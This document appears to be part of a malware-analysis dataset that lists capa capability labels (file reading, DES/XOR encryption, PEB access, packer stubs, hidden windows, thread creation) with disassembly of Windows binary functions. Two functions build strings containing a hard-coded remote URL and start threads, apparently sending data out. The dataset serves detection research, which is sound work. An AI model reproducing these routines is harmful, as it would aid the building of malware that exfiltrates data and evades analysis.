joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412cc0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
cmp byte [esi], 0
je 0x412d05
cmp byte [esi + 1], 0
je 0x412d0d
mov eax, dword [esi + 4]
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp byte [esi], 0
push ebp
je 0x412d22
cmp byte [esi + 1], 0
je 0x412d14
mov edx, dword [esi + 4]
push 1
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov ebp, eax
sub ebp, dword [esi + 0xc]
mov dword [esp + 4], ebp
jmp 0x412d2b
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x1c], ecx
jmp 0x412cde
or eax, 0xffffffff
add esp, 0x18
ret
mov dword [esp + 4], 0
mov ebp, dword [esp + 4]
jmp 0x412d2b
mov eax, dword [esi + 0x1c]
mov dword [esp + 4], eax
mov ebp, eax
push edi
mov edi, 0xffff
mov dword [esp + 0xc], edi
cmp ebp, edi
jae 0x412d3f
mov dword [esp + 0xc], ebp
mov edi, ebp
push ebx
push 0x404
call fcn.00416c50
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x412d5d
pop ebx
pop edi
or eax, 0xffffffff
pop ebp
add esp, 0x18
ret
mov eax, 4
mov dword [esp + 0x18], 0xffffffff
cmp edi, eax
jbe 0x412e71
jmp 0x412d80
mov edi, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 0xc]
add eax, 0x400
mov dword [esp + 0x14], edi
cmp eax, edi
ja 0x412d91
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, dword [esp + 0x14]
sub ebp, eax
mov dword [esp + 0x20], eax
cmp ebp, 0x404
jbe 0x412daa
mov ebp, 0x404
cmp byte [esi], 0
je 0x412dcf
cmp byte [esi + 1], 0
je 0x412e71
mov ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push 0
push 0
add ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
jmp 0x412dd2
mov dword [esi + 0x1c], eax
cmp byte [esi], 0
mov edi, ebp
je 0x412dfa
mov ecx, dword [esi + 4]
push 0
lea eax, [esp + 0x20]
push eax
push ebp
push ebx
push ecx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x412df4
mov byte [esi + 8], 1
mov eax, dword [esp + 0x1c]
jmp 0x412e20
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea edx, [eax + ebp]
cmp edx, ecx
jbe 0x412e0b
sub ecx, eax
mov edi, ecx
mov ecx, dword [esi + 0x14]
push edi
add ecx, eax
push ecx
push ebx
call fcn.0041b150
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div ebp
cmp eax, 1
jne 0x412e71
lea eax, [ebp - 3]
test eax, eax
jl 0x412e5c
dec eax
cmp byte [eax + ebx], 0x50
jne 0x412e4c
cmp byte [eax + ebx + 1], 0x4b
jne 0x412e4c
cmp byte [eax + ebx + 2], 5
jne 0x412e4c
cmp byte [eax + ebx + 3], 6
je 0x412e52
test eax, eax
jge 0x412e30
jmp 0x412e5c
mov edx, dword [esp + 0x20]
add eax, edx
mov dword [esp + 0x18], eax
cmp dword [esp + 0x18], 0
jne 0x412e71
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x14], eax
jb 0x412d74
push ebx
call fcn.00416b73
mov eax, dword [esp + 0x1c]
add esp, 4
pop ebx
pop edi
pop ebp
add esp, 0x18
ret
Function at 0x4137a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push edi
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jne 0x4137be
pop edi
pop ebp
mov eax, 0xffffff9a
pop ebx
add esp, 0xc
ret
cmp dword [edi + 0x18], ebx
je 0x4137b2
cmp dword [edi + 0x7c], ebx
je 0x4137cd
call fcn.00413b90
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
call fcn.00413510
add esp, 0xc
test eax, eax
je 0x4137f4
pop edi
pop ebp
mov eax, 0xffffff99
pop ebx
add esp, 0xc
ret
push esi
push 0x84
call fcn.00416c50
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x413835
push 0x4000
call fcn.00416c50
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esi], eax
mov dword [esi + 0x44], ecx
mov dword [esi + 0x48], edx
mov dword [esi + 0x4c], ebx
cmp eax, ebx
jne 0x413842
push esi
call fcn.00416b73
add esp, 4
pop esi
pop edi
pop ebp
mov eax, 0xffffff98
pop ebx
add esp, 0xc
ret
mov dword [esi + 0x40], ebx
mov ecx, dword [edi + 0x3c]
xor eax, eax
cmp dword [edi + 0x34], ebx
mov dword [esi + 0x54], ecx
mov dword [esi + 0x50], ebx
mov edx, dword [edi + 0x34]
sete al
mov dword [esi + 0x64], edx
mov ecx, dword [edi]
mov dword [esi + 0x60], ecx
mov edx, dword [edi + 0xc]
mov dword [esi + 0x68], edx
mov dword [esi + 0x18], ebx
cmp eax, ebx
jne 0x41388a
lea eax, [esi + 4]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
call fcn.00412670
test eax, eax
jne 0x41388a
mov dword [esi + 0x40], 1
mov eax, dword [edi + 0x40]
mov dword [esi + 0x58], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x5c], ecx
mov dl, byte [edi + 0x30]
and dl, 1
mov byte [esi + 0x6c], dl
mov eax, dword [edi + 0x30]
shr eax, 3
test al, 1
je 0x4138b4
mov cl, byte [edi + 0x39]
mov byte [esi + 0x80], cl
jmp 0x4138bd
mov dl, byte [edi + 0x3f]
mov byte [esi + 0x80], dl
movzx eax, byte [esi + 0x6c]
neg eax
sbb eax, eax
and eax, 0xc
lea edx, [esi + 0x70]
mov dword [esi + 0x7c], eax
mov dword [edx], 0x12345678
mov dword [esi + 0x74], 0x23456789
mov dword [esi + 0x78], 0x34567890
cmp ebp, ebx
je 0x4138f7
mov cl, byte [ebp]
cmp cl, bl
je 0x4138f7
call fcn.00412360
add ebp, 1
jne 0x4138e6
mov ecx, dword [edi + 0x78]
mov edx, dword [esp + 0x18]
lea eax, [ecx + edx + 0x1e]
mov dword [esi + 0x3c], eax
mov dword [esi + 8], ebx
mov dword [edi + 0x7c], esi
pop esi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
Function at 0x413cf0
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x413d98
cmp dword [ebx + 4], 0xffffffff
jne 0x413d98
lea edi, [ebx + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
mov eax, edi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x413d20
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x413d59
cmp ax, 0x2f
je 0x413d59
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x413d46
mov eax, dword [0x42fb30]
mov dword [edi], eax
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
lea esi, [esp + 0x1c]
call fcn.00412ac0
add esp, 8
test eax, eax
jne 0x413d7d
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ecx
ret 8
call fcn.00412e90
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
add eax, 0x200
pop edi
pop esi
pop ecx
ret 8
pop edi
mov eax, 0x1000000
pop esi
pop ecx
ret 8
Function at 0x415110
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ecx
mov ecx, dword [esp + 8]
mov eax, dword [ecx]
push ebx
push ebp
push esi
mov esi, dword [ecx + 4]
mov ecx, eax
shr ecx, 4
xor ecx, esi
and ecx, 0xf0f0f0f
xor esi, ecx
shl ecx, 4
xor eax, ecx
mov ecx, eax
shr ecx, 0x10
xor ecx, esi
and ecx, 0xffff
xor esi, ecx
shl ecx, 0x10
xor eax, ecx
mov ecx, esi
shr ecx, 2
xor ecx, eax
and ecx, 0x33333333
xor eax, ecx
add ecx, ecx
add ecx, ecx
xor esi, ecx
mov ecx, esi
shr ecx, 8
xor ecx, eax
and ecx, 0xff00ff
xor eax, ecx
shl ecx, 8
xor ecx, esi
rol ecx, 1
mov esi, ecx
xor ecx, eax
and ecx, 0xaaaaaaaa
xor esi, ecx
xor ecx, eax
rol ecx, 1
push edi
mov edi, ecx
mov dword [esp + 0x10], 8
jmp 0x415190
mov eax, esi
ror eax, 4
xor eax, dword [edx]
add edx, 4
mov ecx, eax
shr ecx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x43a490]
or ecx, dword [ebx*4 + 0x43a690]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or ecx, dword [ebx*4 + 0x43a890]
and eax, 0x3f
or ecx, dword [eax*4 + 0x43aa90]
mov eax, dword [edx]
xor eax, esi
mov ebx, eax
shr ebx, 0x18
and ebx, 0x3f
mov ebx, dword [ebx*4 + 0x43a590]
mov ebp, eax
shr ebp, 0x10
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x43a790]
mov ebp, eax
shr ebp, 8
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x43a990]
and eax, 0x3f
or ebx, dword [eax*4 + 0x43ab90]
add edx, 4
or ebx, ecx
xor edi, ebx
mov eax, edi
ror eax, 4
xor eax, dword [edx]
add edx, 4
mov ecx, eax
shr ecx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and ecx, 0x3f
mov ecx, dword [ecx*4 + 0x43a490]
or ecx, dword [ebx*4 + 0x43a690]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or ecx, dword [ebx*4 + 0x43a890]
and eax, 0x3f
or ecx, dword [eax*4 + 0x43aa90]
mov eax, dword [edx]
xor eax, edi
mov ebx, eax
shr ebx, 0x18
and ebx, 0x3f
mov ebx, dword [ebx*4 + 0x43a590]
mov ebp, eax
shr ebp, 0x10
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x43a790]
mov ebp, eax
shr ebp, 8
and ebp, 0x3f
or ebx, dword [ebp*4 + 0x43a990]
and eax, 0x3f
or ebx, dword [eax*4 + 0x43ab90]
add edx, 4
or ebx, ecx
xor esi, ebx
sub dword [esp + 0x10], 1
jne 0x415190
ror esi, 1
mov eax, esi
xor eax, edi
and eax, 0xaaaaaaaa
xor esi, eax
xor eax, edi
ror eax, 1
mov ecx, eax
shr ecx, 8
xor ecx, esi
and ecx, 0xff00ff
xor esi, ecx
shl ecx, 8
xor eax, ecx
mov ecx, eax
shr ecx, 2
xor ecx, esi
and ecx, 0x33333333
xor esi, ecx
lea edx, [ecx*4]
mov ecx, esi
shr ecx, 0x10
xor eax, edx
mov edx, dword [esp + 0x18]
xor ecx, eax
and ecx, 0xffff
xor eax, ecx
shl ecx, 0x10
xor esi, ecx
mov ecx, esi
shr ecx, 4
xor ecx, eax
and ecx, 0xf0f0f0f
mov edi, ecx
shl edi, 4
xor edi, esi
mov dword [edx], edi
pop edi
pop esi
xor ecx, eax
pop ebp
mov dword [edx + 4], ecx
pop ebx
pop ecx
ret
Function at 0x416080
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4271f1
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43914c]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov ebx, dword [esp + 0x2c]
xor esi, esi
mov dword [esp + 0x18], esi
mov edi, 1
mov dword [esp + 0x24], edi
mov eax, dword [0x43f30c]
mov edx, dword [eax + 0xc]
mov ecx, 0x43f30c
call edx
add eax, 0x10
mov dword [ebx], eax
mov eax, dword [esp + 0x30]
push eax
mov dword [esp + 0x1c], edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ebp, eax
cmp ebp, esi
je 0x416172
push edi
lea ecx, [esp + 0x18]
push ecx
push esi
mov dword [esp + 0x20], esi
call sub.IPHLPAPI.DLL_GetIpNetTable
cmp eax, 0x7a
jne 0x416172
mov edx, dword [esp + 0x14]
push edx
push 0x40
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov esi, eax
push edi
lea eax, [esp + 0x18]
push eax
push esi
call sub.IPHLPAPI.DLL_GetIpNetTable
test eax, eax
jne 0x41616b
test esi, esi
je 0x416172
mov edx, dword [esi]
test edx, edx
jbe 0x41616b
lea ecx, [esi + 0x14]
cmp ebp, dword [ecx]
je 0x416137
add eax, edi
add ecx, 0x18
cmp eax, edx
jb 0x416128
jmp 0x41616b
lea ecx, [eax + eax*2]
movzx edx, byte [esi + ecx*8 + 0x11]
lea eax, [esi + ecx*8]
movzx ecx, byte [eax + 0x10]
push edx
movzx edx, byte [eax + 0xf]
push ecx
movzx ecx, byte [eax + 0xe]
push edx
movzx edx, byte [eax + 0xd]
movzx eax, byte [eax + 0xc]
push ecx
push edx
push eax
push 0x4357b4
mov edi, ebx
call fcn.004047d0
add esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov byte [esp + 0x24], 0
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416197
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, ebx
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret

Function at 0x4164d0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub esp, 0x10
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
push esi
push edi
lea eax, [esp + 0x10]
push eax
call ebp
call fcn.00418038
add eax, dword [esp + 0x10]
push eax
call fcn.00418026
add esp, 4
call fcn.00418038
cdq
mov ecx, 5
idiv ecx
xor esi, esi
mov edi, edx
add edi, 0x14
test edi, edi
jle 0x416563
lea ecx, [ecx]
lea edx, [esp + 0x10]
push edx
call ebp
call fcn.00418038
add eax, dword [esp + 0x10]
push eax
call fcn.00418026
add esp, 4
call fcn.00418038
cdq
mov ecx, 0x3e
idiv ecx
cmp edx, 0xa
jge 0x416540
add edx, 0x30
jmp 0x41654d
cmp edx, 0x24
jge 0x41654a
add edx, 0x37
jmp 0x41654d
add edx, 0x3d
mov word [ebx + esi*2], dx
inc esi
cmp esi, edi
jl 0x416510
xor edx, edx
mov word [ebx + edi*2], dx
pop edi
pop esi
pop ebp
add esp, 0x10
ret
xor eax, eax
mov word [ebx + edi*2], ax
pop edi
pop esi
pop ebp
add esp, 0x10
ret

Function at 0x416b64
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43914c]
jne 0x416b6e
repz ret
jmp fcn.0041a314
Function at 0x4228d1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00419d23
and dword [ebp - 4], 0
cmp dword [0x43fdfc], 0
mov ebx, eax
jne 0x422982
push 0x429cf8
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422a33
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x429cec
push edi
call esi
test eax, eax
je 0x422a33
push eax
call fcn.00419cb1
mov dword [esp], 0x429cdc
push edi
mov dword [0x43fdfc], eax
call esi
push eax
call fcn.00419cb1
mov dword [esp], 0x429cc8
push edi
mov dword [0x43fe00], eax
call esi
push eax
call fcn.00419cb1
mov dword [esp], 0x429cac
push edi
mov dword [0x43fe04], eax
call esi
push eax
call fcn.00419cb1
pop ecx
mov dword [0x43fe0c], eax
test eax, eax
je 0x422982
push 0x429c94
push edi
call esi
push eax
call fcn.00419cb1
pop ecx
mov dword [0x43fe08], eax
mov eax, dword [0x43fe08]
cmp eax, ebx
je 0x4229da
cmp dword [0x43fe0c], ebx
je 0x4229da
push eax
call fcn.00419d2c
push dword [0x43fe0c]
mov esi, eax
call fcn.00419d2c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4229da
test edi, edi
je 0x4229da
call esi
test eax, eax
je 0x4229d1
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4229d1
test byte [ebp - 0xc], 1
jne 0x4229da
or dword [ebp + 0x10], 0x200000
jmp 0x422a13
mov eax, dword [0x43fe00]
cmp eax, ebx
je 0x422a13
push eax
call fcn.00419d2c
pop ecx
test eax, eax
je 0x422a13
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422a13
mov eax, dword [0x43fe04]
cmp eax, ebx
je 0x422a13
push eax
call fcn.00419d2c
pop ecx
test eax, eax
je 0x422a13
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43fdfc]
call fcn.00419d2c
pop ecx
test eax, eax
je 0x422a33
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422a35
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x4484ab
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4484d9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4484f7
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00448415
jmp 0x4484f7
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4484f7
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00448415
test edi, edi
mov eax, edi
jne 0x4484e1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x5726ec]
test ecx, ecx
je 0x4485aa
jmp 0x4484aa
ret 8

Function at 0x50ce50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.QNhjSkbP
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x50ce72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ce79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ce68
mov eax, 1
add ebx, ebx
jne 0x50ce8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ce80
jne 0x50ce9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ce80
xor ecx, ecx
sub eax, 3
jb 0x50ceb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50cf22
mov ebp, eax
add ebx, ebx
jne 0x50cebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50cec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50ceec
inc ecx
add ebx, ebx
jne 0x50ced8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50cecd
jne 0x50cee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50cecd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50cf0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50cefd
jmp 0x50ce6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50cf0c
add edi, ecx
jmp 0x50ce6e
pop esi
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x50cf6b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50cf29
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb2c]
or eax, eax
je 0x50cf65
mov dword [ebx], eax
add ebx, 4
jmp 0x50cf46
call dword [esi + 0xeb28]
mov ebp, dword [esi + 0xeb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50cf9f
sub esp, 0xffffff80
jmp section.bUItIFMf
Function at 0x10001660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x100017d9
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x100017d9
cmp dword [ecx + 0x2c], 1
je 0x10001693
cmp dword [ecx + 0x2c], 3
jne 0x100017d9
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x1000175c
dec eax
je 0x1000172b
dec eax
je 0x10001703
dec eax
jne 0x100016ef
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x100016d5
mov edi, dword [edi + 0x12]
jmp 0x100016d8
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x1000178b
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001723
mov edi, dword [edi + 0x2f22]
jmp 0x100016d8
add edi, 0x2f22
jmp 0x100016d8
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001745
mov edi, dword [edi + 6]
jmp 0x10001748
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001776
mov edi, dword [edi + 0xa]
jmp 0x10001779
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.02062
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100017df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x10001959
cmp byte [0x100043e7], 0
je 0x10001945
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x100018c4
dec eax
je 0x10001890
dec eax
je 0x10001868
dec eax
jne 0x10001851
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001834
mov edi, dword [edi + 0x12]
jmp 0x10001837
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x100018f6
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001888
mov edi, dword [edi + 0x2f22]
jmp 0x10001837
add edi, 0x2f22
jmp 0x10001837
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100018aa
mov edi, dword [edi + 6]
jmp 0x100018ad
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100018de
mov edi, dword [edi + 0xa]
jmp 0x100018e1
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.02062
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x10001953
mov eax, dword [0x10004370]
cmp eax, 3
je 0x1000198d
cmp eax, 4
je 0x1000198d
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x10001982
mov eax, dword [eax + 0x3c5]
jmp 0x10001998
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x1000199b
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x10001953
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x10001953
cmp byte [eax + 1], 0
jne 0x10001953
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x10001953
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x100019e4
mov byte [eax + 0x100043ec], 0
jmp 0x10001953
call fcn.100023fa
int3